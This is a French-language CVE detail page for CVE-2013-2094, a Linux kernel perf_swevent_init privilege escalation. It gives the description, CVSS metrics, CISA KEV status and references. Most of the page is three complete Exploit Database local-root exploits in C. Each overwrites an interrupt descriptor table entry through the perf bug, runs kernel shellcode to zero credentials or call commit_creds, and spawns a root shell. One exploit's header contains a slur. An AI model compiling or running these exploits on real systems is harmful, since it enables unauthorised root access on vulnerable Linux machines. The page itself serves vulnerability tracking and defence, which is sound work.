CVE-2013-2094 : Détail

CVE-2013-2094

8.4
/
Haute
0.15%V3
Local
2013-05-14
20h00 +00:00
2025-02-04
19h21 +00:00
CVE.org
NVD
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Descriptions du CVE

The perf_swevent_init function in kernel/events/core.c in the Linux kernel before 3.8.9 uses an incorrect integer data type, which allows local users to gain privileges via a crafted perf_event_open system call.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.4 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Linux Kernel Privilege Escalation Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-09-14 22h00 +00:00

Action attendue : 2022-10-05 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 25444

Date de publication : 2013-05-13 22h00 +00:00
Auteur : sd
EDB Vérifié : No

/* * linux 2.6.37-3.x.x x86_64, ~100 LOC * gcc-4.6 -O2 semtex.c && ./a.out * 2010 [email protected], salut! * * update may 2013: * seems like centos 2.6.32 backported the perf bug, lol. * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist. * * EDB Note: Update ~ http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ * ~ https://github.com/realtalk/cve-2013-2094/blob/master/rewritten_semtex.c */ #define _GNU_SOURCE 1 #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <syscall.h> #include <stdint.h> #include <assert.h> #define BASE 0x380000000 #define SIZE 0x010000000 #define KSIZE 0x2000000 #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) void fuck() { int i,j,k; uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) }; uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192)); uint64_t kbase = ((uint64_t)current)>>36; uint32_t *fixptr = (void*) AB(1); *fixptr = -1; for (i=0; i<4000; i+=4) { uint64_t *p = (void *)&current[i]; uint32_t *t = (void*) p[0]; if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; for (j=0; j<20; j++) { for (k = 0; k < 8; k++) if (((uint32_t*)uids)[k] != t[j+k]) goto next; for (i = 0; i < 8; i++) t[j+i] = 0; for (i = 0; i < 10; i++) t[j+9+i] = -1; return; next:; } } } void sheep(uint32_t off) { uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 }; int fd = syscall(298, buf, 0, -1, -1, 0); assert(!close(fd)); } int main() { uint64_t u,g,needle, kbase, *p; uint8_t *code; uint32_t *map, j = 5; int i; struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idt; assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); memset(map, 0, SIZE); sheep(-1); sheep(-2); for (i = 0; i < SIZE/4; i++) if (map[i]) { assert(map[i+1]); break; } assert(i<SIZE/4); asm ("sidt %0" : "=m" (idt)); kbase = idt.addr & 0xff000000; u = getuid(); g = getgid(); assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase); memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024); memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", printf("2.6.37-3.x x86_64\[email protected] 2010\n") % 27); setresuid(u,u,u); setresgid(g,g,g); while (j--) { needle = AB(j+1); assert(p = memmem(code, 1024, &needle, 8)); if (!p) continue; *p = j?((g<<32)|u):(idt.addr + 0x48); } sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16); asm("int $0x4"); assert(!setuid(0)); return execl("/bin/bash", "-sh", NULL); }
Exploit Database EDB-ID : 33589

Date de publication : 2014-05-30 22h00 +00:00
Auteur : Vitaly Nikolenko
EDB Vérifié : Yes

/** * Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit * by Vitaly Nikolenko ([email protected]) * * based on semtex.c by sd * * Supported targets: * [0] Ubuntu 12.04.0 - 3.2.0-23-generic * [1] Ubuntu 12.04.1 - 3.2.0-29-generic * [2] Ubuntu 12.04.2 - 3.5.0-23-generic * * $ gcc vnik.c -O2 -o vnik * * $ uname -r * 3.2.0-23-generic * * $ ./vnik 0 */ #define _GNU_SOURCE 1 #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <syscall.h> #include <stdint.h> #include <assert.h> #define BASE 0x1780000000 #define SIZE 0x0010000000 #define KSIZE 0x2000000 #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred); uint64_t targets[3][3] = {{0xffffffff81ef67e0, // perf_swevent_enabled 0xffffffff81091630, // commit_creds 0xffffffff810918e0}, // prepare_kernel_cred {0xffffffff81ef67a0, 0xffffffff81091220, 0xffffffff810914d0}, {0xffffffff81ef5940, 0xffffffff8107ee30, 0xffffffff8107f0c0} }; void __attribute__((regparm(3))) payload() { uint32_t *fixptr = (void*)AB(1); // restore the handler *fixptr = -1; commit_creds_fn commit_creds = (commit_creds_fn)AB(2); prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3); commit_creds(prepare_kernel_cred((uint64_t)NULL)); } void trigger(uint32_t off) { uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 }; int fd = syscall(298, buf, 0, -1, -1, 0); assert( !close(fd) ); } int main(int argc, char **argv) { uint64_t off64, needle, kbase, *p; uint8_t *code; uint32_t int_n, j = 5, target = 1337; int offset = 0; void *map; assert(argc == 2 && "target?"); assert( (target = atoi(argv[1])) < 3 ); struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idt; // mmap user-space block so we don't page fault // on sw_perf_event_destroy assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); memset(map, 0, SIZE); asm volatile("sidt %0" : "=m" (idt)); kbase = idt.addr & 0xff000000; printf("IDT addr = 0x%lx\n", idt.addr); assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase); memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024); memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13); // can only play with interrupts 3, 4 and 0x80 for (int_n = 3; int_n <= 0x80; int_n++) { for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) { int off32 = off64; if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) { offset = off32; goto out; } } if (int_n == 4) { // shit, let's try 0x80 if the kernel is compiled with // CONFIG_IA32_EMULATION int_n = 0x80 - 1; } } out: assert(offset); printf("Using int = %d with offset = %d\n", int_n, offset); for (j = 0; j < 3; j++) { needle = AB(j+1); assert(p = memmem(code, 1024, &needle, 8)); *p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j]; } trigger(offset); switch (int_n) { case 3: asm volatile("int $0x03"); break; case 4: asm volatile("int $0x04"); break; case 0x80: asm volatile("int $0x80"); } assert(!setuid(0)); return execl("/bin/bash", "-sh", NULL); }
Exploit Database EDB-ID : 26131

Date de publication : 2013-06-10 22h00 +00:00
Auteur : Andrea Bittau
EDB Vérifié : Yes

/* * CVE-2013-2094 exploit x86_64 Linux < 3.8.9 * by sorbo ([email protected]) June 2013 * * Based on sd's exploit. Supports more targets. * */ #define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <stdint.h> #include <sys/syscall.h> #include <sys/mman.h> #include <linux/perf_event.h> #include <signal.h> #include <assert.h> #define BASE 0x380000000 #define BASE_JUMP 0x1780000000 #define SIZE 0x10000000 #define KSIZE 0x2000000 #define TMP(x) (0xdeadbeef + (x)) struct idt { uint16_t limit; uint64_t addr; } __attribute__((packed)); static int _fd; static int perf_open(uint64_t off) { struct perf_event_attr attr; int rc; // printf("perf open %lx [%d]\n", off, (int) off); memset(&attr, 0, sizeof(attr)); attr.type = PERF_TYPE_SOFTWARE; attr.size = sizeof(attr); attr.config = off; attr.mmap = 1; attr.comm = 1; attr.exclude_kernel = 1; rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0); return rc; } void __sc_start(void); void __sc_next(void); void __sc(void) { asm("__sc_start:\n" "call __sc_next\n" "iretq\n" "__sc_next:\n"); } void sc(void) { int i, j; uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192)); uint64_t kbase = ((uint64_t)current) >> 36; int uid = TMP(1); int gid = TMP(2); for (i = 0; i < 4000; i += 4) { uint64_t *p = (void *) &current[i]; uint32_t *cred = (uint32_t*) p[0]; if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; for (j = 0; j < 20; j++) { if (cred[j] == uid && cred[j + 1] == gid) { for (i = 0; i < 8; i++) { cred[j + i] = 0; return; } } } } } static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val) { void *p; p = memmem(sc, 900, &needle, sizeof(needle)); if (!p) errx(1, "can't find %x", needle); memcpy(p, &val, sizeof(val)); } static void *map_mem(uint64_t addr) { void *p; p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); if (p == MAP_FAILED) err(1, "mmap()"); return p; } static int find_mem(void *mem, uint8_t c) { int i; uint8_t *p = mem; for (i = 0; i < SIZE; i++) { if (p[i] == c) return i; } return -1; } static void dropshell() { if (setuid(0) != 0) errx(1, "failed"); printf("Launching shell\n"); execl("/bin/sh", "sh", NULL); exit(0); } void morte(int x) { printf("Got signal\n"); close(_fd); dropshell(); } static void trigger(int intr) { switch (intr) { case 0: do { int z = 1; int a = 1; z--; a /= z; } while (0); break; case 4: asm("int $4"); break; case 0x80: asm("int $0x80"); break; default: errx(1, "unknown intr %d", intr); } sleep(3); } int main(int argc, char *argv[]) { uint32_t *p[2]; int fd, i; uint64_t off; uint64_t addr = BASE; struct idt idt; uint8_t *kbase; int sz = 4; int intr = 4; printf("Searchin...\n"); p[0] = map_mem(BASE); p[1] = map_mem(BASE_JUMP); memset(p[1], 0x69, SIZE); off = 0xFFFFFFFFL; fd = perf_open(off); close(fd); i = find_mem(p[0], 0xff); if (i == -1) { i = find_mem(p[1], 0x68); if (i == -1) errx(1, "Can't find overwrite"); sz = 24; addr = BASE_JUMP; printf("detected CONFIG_JUMP_LABEL\n"); } munmap(p[0], SIZE); munmap(p[1], SIZE); addr += i; addr -= off * sz; printf("perf_swevent_enabled is at 0x%lx\n", addr); asm("sidt %0" : "=m" (idt)); printf("IDT at 0x%lx\n", idt.addr); off = addr - idt.addr; off -= 8; switch (off % sz) { case 0: intr = 0; break; case 8: intr = 0x80; break; case 16: intr = 4; break; default: errx(1, "remainder %d", off % sz); } printf("Using interrupt %d\n", intr); off -= 16 * intr; assert((off % sz) == 0); off /= sz; off = -off; // printf("Offset %lx\n", off); kbase = (uint8_t*) (idt.addr & 0xFF000000); printf("Shellcode at %p\n", kbase); if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED) err(1, "mmap()"); memset(kbase, 0x90, KSIZE); kbase += KSIZE - 1024; i = __sc_next - __sc_start; memcpy(kbase, __sc_start, i); kbase += i; memcpy(kbase, sc, 900); sc_replace(kbase, TMP(1), getuid()); sc_replace(kbase, TMP(2), getgid()); signal(SIGALRM, morte); alarm(2); printf("Triggering sploit\n"); _fd = perf_open(off); trigger(intr); exit(0); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 3.0.75

Linux>>Linux_kernel >> Version From (including) 3.1 To (excluding) 3.2.45

Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.4.42

Linux>>Linux_kernel >> Version From (including) 3.5 To (excluding) 3.8.9

Références

http://www.mandriva.com/security/advisories?name=MDVSA-2013:176
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.ubuntu.com/usn/USN-1826-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1838-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1828-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1827-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1836-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.osvdb.org/93361
Tags : vdb-entry, x_refsource_OSVDB
http://www.exploit-db.com/exploits/33589
Tags : exploit, x_refsource_EXPLOIT-DB
http://rhn.redhat.com/errata/RHSA-2013-0830.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2013/05/14/6
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-1825-1
Tags : vendor-advisory, x_refsource_UBUNTU